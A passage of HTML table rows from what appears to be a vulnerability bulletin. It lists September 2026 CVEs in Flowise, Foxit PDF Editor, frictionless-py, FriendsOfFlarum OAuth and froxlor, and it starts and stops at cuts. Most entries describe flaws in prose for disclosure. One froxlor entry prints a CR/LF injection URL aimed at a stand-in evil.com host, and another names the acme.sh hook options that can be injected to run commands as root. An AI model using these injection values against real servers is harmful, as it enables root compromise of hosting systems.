&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-101045&quot; target=&quot;_blank&quot;&gt;CVE-2026-101045&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;flippercode--WP Maps Google Maps, OpenStreetMap, Mapbox, Store Locator with Search, Filters &amp;amp; Listings&lt;/td&gt;
&lt;td&gt;The WP Maps - Google Maps,OpenStreetMap,Mapbox,Store Locator,Listing,Directory &amp;amp; Filters plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 4.9.8 via the &#039;page&#039; parameter parameter. This makes it possible for authenticated attackers, with subscriber-level access and above, to include and execute arbitrary .php files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where .php file types can be uploaded and included.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-13456&quot; target=&quot;_blank&quot;&gt;CVE-2026-13456&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FlowiseAI--Flowise&lt;/td&gt;
&lt;td&gt;Flowise through 3.1.4 does not enforce authorization on the BullMQ admin dashboard. When the server runs in queue mode with the dashboard enabled and not in cloud mode (MODE=queue, ENABLE_BULLMQ_DASHBOARD=true, and !isCloud()), the /admin/queues mount is protected only by the verifyTokenForBullMQDashboard middleware, which validates the JWT but performs no role, permission, or workspace/organization scoping check; the mount also lies outside /api/v1/* so the global API gate does not apply. As a result, any authenticated user - including the lowest-privileged member of any tenant - can reach the full Bull-Board UI and view all queues and job payloads across the entire instance, including chat inputs and overrideConfig (which may carry credentials and prompts), chatflow.flowData graph definitions with custom function source code, credential IDs and system prompts, chatIds, files, and the originating orgId/workspaceId. The dashboard&#039;s write actions (retry, remove, promote, clean) are likewise usable across tenants. No patched version is available as of the advisory.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;8.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100608&quot; target=&quot;_blank&quot;&gt;CVE-2026-100608&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FlowiseAI--Flowise&lt;/td&gt;
&lt;td&gt;Flowise through 3.1.4 contains missing route-level RBAC checks on chat message endpoints that allow low-privileged API keys to read and delete chat history. Attackers with valid but low-privileged API keys can access GET and DELETE chat message routes without required flow permissions to read chat histories, prompts, model responses, and delete messages.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100605&quot; target=&quot;_blank&quot;&gt;CVE-2026-100605&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FlowiseAI--Flowise&lt;/td&gt;
&lt;td&gt;Flowise through 3.1.4 (Enterprise/platform mode with SSO enabled) contains an authentication bypass in the SSO login path. When an SSO callback arrives with an email matching a user whose status is INVITED, verifyAndLogin (SSOBase.ts:80-94) copies the user record from the database - including the server-stored single-use invitation tempToken - into the data passed to AccountService.register(). The register handler&#039;s token lookup, email match, and expiry checks therefore pass trivially against the server&#039;s own token instead of a caller-supplied one, and the account and its organization membership are flipped to ACTIVE. As a result, anyone able to authenticate at any configured SSO provider using a pending invitee&#039;s email address as the email claim can take over that invitation and obtain the invited user&#039;s access to the organization without ever possessing the emailed invitation token, for as long as the invitation is valid (24 hours by default). At the time of the advisory no patched version was available.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100606&quot; target=&quot;_blank&quot;&gt;CVE-2026-100606&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FlowiseAI--Flowise&lt;/td&gt;
&lt;td&gt;Flowise through 3.1.4 resolves SSO and local-password users solely by email without storing provider or subject identifier bindings, allowing attackers to authenticate as any existing user by claiming their email at any configured SSO provider. Attackers can gain complete account access including chatflows, credentials, and API keys by authenticating through a different SSO provider or local password than the victim&#039;s original registration method.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100607&quot; target=&quot;_blank&quot;&gt;CVE-2026-100607&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FlowiseAI--Flowise&lt;/td&gt;
&lt;td&gt;Flowise through 3.1.4 exposes GET /api/v1/upsert-history/:id and PATCH /api/v1/upsert-history without route-level permission checks, and the backing service performs no workspace or ownership validation. getAllUpsertHistory() returns UpsertHistory rows selected solely by an attacker-supplied chatflowid, and patchDeleteUpsertHistory() deletes rows by an attacker-supplied array of record UUIDs. As a result, any authenticated low-privilege user or valid API key can read or delete document-store upsert history belonging to other users and other workspaces whenever the target chatflowId (which is exposed publicly in /chatbot/&amp;lt;chatflowId&amp;gt; share links) or row ids are known. The retrievable flowData and result fields contain embedding, record-manager and vector-store node configuration, including per-node paramValues. No patched version is available.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100610&quot; target=&quot;_blank&quot;&gt;CVE-2026-100610&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Fortinet--FortiPAM Chrome Extension&lt;/td&gt;
&lt;td&gt;A improper restriction of rendered ui layers or frames vulnerability in Fortinet FortiPAM Chrome Extension 8.0 all versions, FortiPAM Chrome Extension 7.4 all versions may allow attacker to information disclosure via remote unauthenticated attack&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84388&quot; target=&quot;_blank&quot;&gt;CVE-2026-84388&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Foxit Software Inc.--Foxit PDF Editor&lt;/td&gt;
&lt;td&gt;A local privilege escalation vulnerability exists in the update daemon of Foxit PDF Editor/Reader due to an insecure permission configuration that allows the configuration file to be modified by regular users, which may lead to arbitrary script execution with higher privileges.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91798&quot; target=&quot;_blank&quot;&gt;CVE-2026-91798&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Foxit Software Inc.--Foxit PDF Editor&lt;/td&gt;
&lt;td&gt;A local privilege escalation vulnerability exists in the installer of Foxit PDF Editor for macOS due to insufficient validation of a user-modifiable configuration value during high-privilege upgrades. A local attacker could exploit this issue to execute arbitrary commands with root privileges.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91800&quot; target=&quot;_blank&quot;&gt;CVE-2026-91800&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Foxit Software Inc.--Foxit PDF Editor&lt;/td&gt;
&lt;td&gt;A local privilege escalation vulnerability exists in the updater of Foxit PDF Editor/Reader due to unsafe loading of dynamic-link libraries from a user-writable directory during high-privilege operations. A local attacker could exploit this issue to execute code with elevated privileges.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91803&quot; target=&quot;_blank&quot;&gt;CVE-2026-91803&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Foxit Software Inc.--Foxit PDF Editor&lt;/td&gt;
&lt;td&gt;A vulnerability in Foxit PDF Editor/Reader&#039;s update mechanism allows an update package to be replaced between download and high-privilege extraction due to insufficient file locking and integrity validation. This could enable local attackers to execute arbitrary code with elevated privileges.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91813&quot; target=&quot;_blank&quot;&gt;CVE-2026-91813&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Foxit Software Inc.--Foxit PDF Editor&lt;/td&gt;
&lt;td&gt;Foxit PDF Editor/Reader&#039;s U3D/GIF texture decoding path contained insufficient validation of image dimensions and related size information. Under certain conditions, this could lead to an incorrectly sized memory allocation and a subsequent out-of-bounds write during pixel processing, potentially resulting in remote code execution.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91789&quot; target=&quot;_blank&quot;&gt;CVE-2026-91789&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Foxit Software Inc.--Foxit PDF Editor&lt;/td&gt;
&lt;td&gt;When rendering the page image, Foxit PDF Editor/Reader fails to perform validation on image objects whose optional content attributes are malformed. As a result, the program may access an already-freed internal data structure, triggering a crash due to UAF.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91790&quot; target=&quot;_blank&quot;&gt;CVE-2026-91790&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Foxit Software Inc.--Foxit PDF Editor&lt;/td&gt;
&lt;td&gt;When processing a specially crafted PDF file, Foxit PDF Editor/Reader may encounter a reentrant execution condition involving JavaScript triggered by page-visibility events. This can cause the application to access a released page-view object while calculating annotation boundaries, resulting in an invalid memory read and application crash.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91791&quot; target=&quot;_blank&quot;&gt;CVE-2026-91791&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Foxit Software Inc.--Foxit PDF Editor&lt;/td&gt;
&lt;td&gt;When processing a specially crafted PDF, Foxit PDF Editor/Reader may perform reentrant zoom and layout operations through page- and annotation-related JavaScript actions. This can cause the application to access page objects after they have been released, resulting in a use-after-free condition and an application crash.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91792&quot; target=&quot;_blank&quot;&gt;CVE-2026-91792&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Foxit Software Inc.--Foxit PDF Editor&lt;/td&gt;
&lt;td&gt;When opening a specially crafted PDF, Foxit PDF Editor/Reader executes scripts that modify annotation rich-text attributes containing malformed font data. During subsequent annotation appearance reconstruction, it accesses an object after it has been released, resulting in a use-after-free condition and an application crash.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91793&quot; target=&quot;_blank&quot;&gt;CVE-2026-91793&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Foxit Software Inc.--Foxit PDF Editor&lt;/td&gt;
&lt;td&gt;An out-of-bounds write vulnerability exists in the PDF rendering process of Foxit PDF Editor/Reader due to insufficient consistency and boundary validation when processing malformed color space data, which may cause the program to crash and potentially lead to remote code execution.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91794&quot; target=&quot;_blank&quot;&gt;CVE-2026-91794&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Foxit Software Inc.--Foxit PDF Editor&lt;/td&gt;
&lt;td&gt;Foxit PDF Editor/Reader&#039;s FileOpen plugin did not adequately validate certain encryption metadata in specially crafted PDF files. This could leave an internal pointer in an invalid state, resulting in chained read and write access violations and potentially enabling arbitrary code execution.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91795&quot; target=&quot;_blank&quot;&gt;CVE-2026-91795&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Foxit Software Inc.--Foxit PDF Editor&lt;/td&gt;
&lt;td&gt;Foxit PDF Editor/Reader failed to validate the directory traversal path in the attachment file name, resulting in malicious attachments being able to be written to directories outside the expected secure area when the PDF is opened.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91797&quot; target=&quot;_blank&quot;&gt;CVE-2026-91797&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Foxit Software Inc.--Foxit PDF Editor&lt;/td&gt;
&lt;td&gt;A use-after-free vulnerability exists in Foxit PDF Editor/Reader&#039;s handling of JavaScript array objects. A specially crafted PDF may cause the application to access a released object during array processing, potentially resulting in application crashes or arbitrary code execution.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91799&quot; target=&quot;_blank&quot;&gt;CVE-2026-91799&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Foxit Software Inc.--Foxit PDF Editor&lt;/td&gt;
&lt;td&gt;A path traversal vulnerability exists in Foxit PDF Editor/Reader&#039;s handling of embedded PDF resources. Insufficient validation of resource file paths may allow files to be written outside their intended locations, potentially enabling arbitrary code execution.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91801&quot; target=&quot;_blank&quot;&gt;CVE-2026-91801&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Foxit Software Inc.--Foxit PDF Editor&lt;/td&gt;
&lt;td&gt;A heap-based out-of-bounds write vulnerability exists in Foxit PDF Editor/Reader&#039;s WebP image decoding due to improper handling of bitmap stride and target buffer formats. Successful exploitation could result in an application crash.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91802&quot; target=&quot;_blank&quot;&gt;CVE-2026-91802&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Foxit Software Inc.--Foxit PDF Editor&lt;/td&gt;
&lt;td&gt;A heap-based out-of-bounds write vulnerability exists in Foxit PDF Editor/Reader&#039;s rendering of Circle annotations with malformed Cloudy appearance streams in specially crafted PDF files. Insufficient validation of the appearance geometry can result in memory corruption and application crashes.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91804&quot; target=&quot;_blank&quot;&gt;CVE-2026-91804&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Foxit Software Inc.--Foxit PDF Editor&lt;/td&gt;
&lt;td&gt;A use-after-free vulnerability exists in Foxit PDF Editor/Reader&#039;s PDF page-tree handling. A specially crafted PDF can trigger page-structure changes during rendering, causing the application to access released page objects and resulting in memory corruption and an application crash.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91805&quot; target=&quot;_blank&quot;&gt;CVE-2026-91805&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Foxit Software Inc.--Foxit PDF Editor&lt;/td&gt;
&lt;td&gt;A use-after-free vulnerability exists in Foxit PDF Editor/Reader&#039;s handling of PDF form fields. Embedded JavaScript may access form-field references after the corresponding fields have been released, resulting in an application crash.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91806&quot; target=&quot;_blank&quot;&gt;CVE-2026-91806&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Foxit Software Inc.--Foxit PDF Editor&lt;/td&gt;
&lt;td&gt;A use-after-free vulnerability exists in Foxit PDF Editor/Reader&#039;s handling of malformed PDF form fields. Improper validation during field-name traversal may cause the application to access a released object, resulting in an application crash.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91809&quot; target=&quot;_blank&quot;&gt;CVE-2026-91809&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Foxit Software Inc.--Foxit PDF Editor&lt;/td&gt;
&lt;td&gt;A heap-based out-of-bounds write vulnerability exists in Foxit PDF Editor/Reader&#039;s PRC parser due to insufficient validation of vertex indices in triangular fan texture meshes. Successful exploitation could result in memory corruption and an application crash.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91811&quot; target=&quot;_blank&quot;&gt;CVE-2026-91811&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Foxit Software Inc.--Foxit PDF Editor&lt;/td&gt;
&lt;td&gt;A vulnerability in Foxit PDF Editor/Reader&#039;s update mechanism allows man-in-the-middle attackers to bypass certificate validation and package integrity checks, potentially enabling arbitrary code execution with system privileges.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91812&quot; target=&quot;_blank&quot;&gt;CVE-2026-91812&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Foxit Software Inc.--Foxit PDF Editor&lt;/td&gt;
&lt;td&gt;Foxit PDF Editor/Reader does not perform sufficient verification of the JPEG2000 image metadata in the PDF file, which leads to out-of-bounds write in the heap buffer during decoding, potentially causing the program to crash and introducing the risk of arbitrary code execution.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91815&quot; target=&quot;_blank&quot;&gt;CVE-2026-91815&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Foxit Software Inc.--Foxit PDF Editor&lt;/td&gt;
&lt;td&gt;A use-after-free vulnerability exists in Foxit PDF Editor/Reader&#039;s handling of PDF annotations. Reentrant annotation deletion triggered by embedded JavaScript can cause the application to access an annotation object after it has been released, resulting in a use-after-free condition and application crash.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91816&quot; target=&quot;_blank&quot;&gt;CVE-2026-91816&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Foxit Software Inc.--Foxit PDF Editor&lt;/td&gt;
&lt;td&gt;A use-after-free vulnerability exists in Foxit PDF Editor/Reader&#039;s JavaScript handling of PDF annotations. Reentrant page-event processing during annotation enumeration may release the associated page object, which is subsequently accessed, resulting in an application crash.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91818&quot; target=&quot;_blank&quot;&gt;CVE-2026-91818&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;frictionlessdata--frictionless-py&lt;/td&gt;
&lt;td&gt;Frictionless through 5.20.0rc1 contains an OS command injection vulnerability in the explore console command that allows an attacker who supplies a crafted Data Package descriptor to execute arbitrary operating system commands as the user who explores it. Attackers can place shell metacharacters in resource path values within a datapackage.json descriptor, which are passed unsanitized to os.system through a shell, causing arbitrary command execution in the victim&#039;s security context when they run the explore command against the untrusted package.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93349&quot; target=&quot;_blank&quot;&gt;CVE-2026-93349&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FriendsOfFlarum--oauth&lt;/td&gt;
&lt;td&gt;FriendsOfFlarum OAuth allows users to log in to Flarum with GitHub, Twitter, Facebook, and other providers. Prior to 1.7.4 and 2.0.0-beta.4, the Discord OAuth provider does not check the verified field returned for an OAuth email before passing the address to Flarum core as trusted through provideTrustedEmail(). When Discord sign-in is enabled, an unauthenticated attacker who knows the email address of a Flarum user can configure a Discord account with that unverified address and a verified phone number, then sign in to cause Flarum to match the trusted address, link the attacker-controlled Discord identity to the existing user, and authenticate as the victim without a password or victim interaction. Exploitation requires that the victim&#039;s email address is not already associated with a Discord account, and it can compromise administrator accounts. Other bundled providers were not confirmed to be practically exploitable by this method because their relevant authentication flows return only verified or confirmed email addresses. This issue is fixed in versions 1.7.4 and 2.0.0-beta.4.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92161&quot; target=&quot;_blank&quot;&gt;CVE-2026-92161&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;froxlor--froxlor&lt;/td&gt;
&lt;td&gt;Froxlor before 2.3.12 does not restrict or escape the system.letsencryptchallengepath setting: unlike sibling settings hardened in GHSA-33mp, the field has no string_regexp or required_otp guard, and its value is concatenated unescaped into the acme.sh command line built in lib/Froxlor/Cron/Http/LetsEncrypt/AcmeSh.php and executed by the root cron via FileDir::safe_exec. Because safe_exec only blacklists shell metacharacters such as ; | &amp;amp; &amp;gt; &amp;lt; \ $ ~ ?, spaces and quotes survive and the value is word-split into additional acme.sh arguments. An administrator, or any actor able to write settings (for example through the settings-import API), can therefore inject acme.sh options such as --renew-hook, --pre-hook or --post-hook to obtain arbitrary command execution as root at the next Let&#039;s Encrypt cron run, or use --config-home/--cert-home for arbitrary file writes. Versions up to and including 2.3.10 are affected; the issue is fixed in 2.3.12.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100714&quot; target=&quot;_blank&quot;&gt;CVE-2026-100714&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;froxlor--froxlor&lt;/td&gt;
&lt;td&gt;Froxlor through 2.3.10 is vulnerable to arbitrary file deletion via symlink following in the FTP data deletion cron task. Cron task 8 (deleteFtpData), queued when an FTP account is deleted, calls FileDir::makeCorrectDir() without the $fixed_homedir argument, so the symlink component walk is skipped, and then executes &#039;rm -rf&#039; as root on the resulting path with string-level guards only. Because makeCorrectDir() appends a trailing slash, GNU rm dereferences a symlink used either as an intermediate path component or as the final component. An authenticated customer who can write to the FTP home directory can plant a symlink between task insertion and cron execution, causing the root cron job to recursively delete arbitrary directory trees, resulting in cross-tenant data destruction and host denial of service. This issue is fixed in Froxlor 2.3.12.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;9.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100715&quot; target=&quot;_blank&quot;&gt;CVE-2026-100715&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;froxlor--froxlor&lt;/td&gt;
&lt;td&gt;Froxlor is a server administration panel. In versions 2.3.10 and earlier, the customer data-export (DataDump) cron fails to validate intermediate path components of the export destination: Froxlor\FileDir::makeCorrectDir() contains an off-by-one in its path-component walk that skips the first segment below the customer home directory, and the guard in ExportCron.php checks only the final component with is_link(). An authenticated customer whose account has the export feature enabled can schedule an export into a genuine subdirectory of their own webspace, then replace an intermediate path component with a symlink before the root-owned cron runs. The cron&#039;s `chown -R` then recursively changes ownership of the linked directory tree - for example /etc - to the customer&#039;s UID, yielding host root and cross-tenant compromise. Exploitation is deterministic and requires no race. This is an incomplete fix of GHSA-75h4-... The issue is fixed in Froxlor 2.3.12.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100716&quot; target=&quot;_blank&quot;&gt;CVE-2026-100716&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;froxlor--froxlor&lt;/td&gt;
&lt;td&gt;froxlor is a server administration panel. In versions 2.3.10 and earlier, Validate::validateUrl rejects carriage return and line feed characters only in the path, query and fragment components returned by parse_url, and never inspects the userinfo (user:pass@) components. This is an incomplete fix for GHSA-c3p2. An authenticated low-privilege customer with subdomain-create rights (no admin or change_serversettings privilege required) can supply a subdomain redirect URL that carries a CR/LF payload in the userinfo portion (e.g. http://user%0areturn 200 &quot;pwned&quot;;%0a@evil.com/). The value passes validation, survives IDNA encoding, and is written verbatim into the generated nginx or Apache vhost configuration, allowing the attacker to break out of the emitted directive and inject arbitrary web-server configuration lines. froxlor regenerates and reloads the web-server configuration as root, so the injected directives take effect server-wide and can hijack responses or read local files. The issue is fixed in version 2.3.12.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100717&quot; target=&quot;_blank&quot;&gt;CVE-2026-100717&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;froxlor--froxlor&lt;/td&gt;
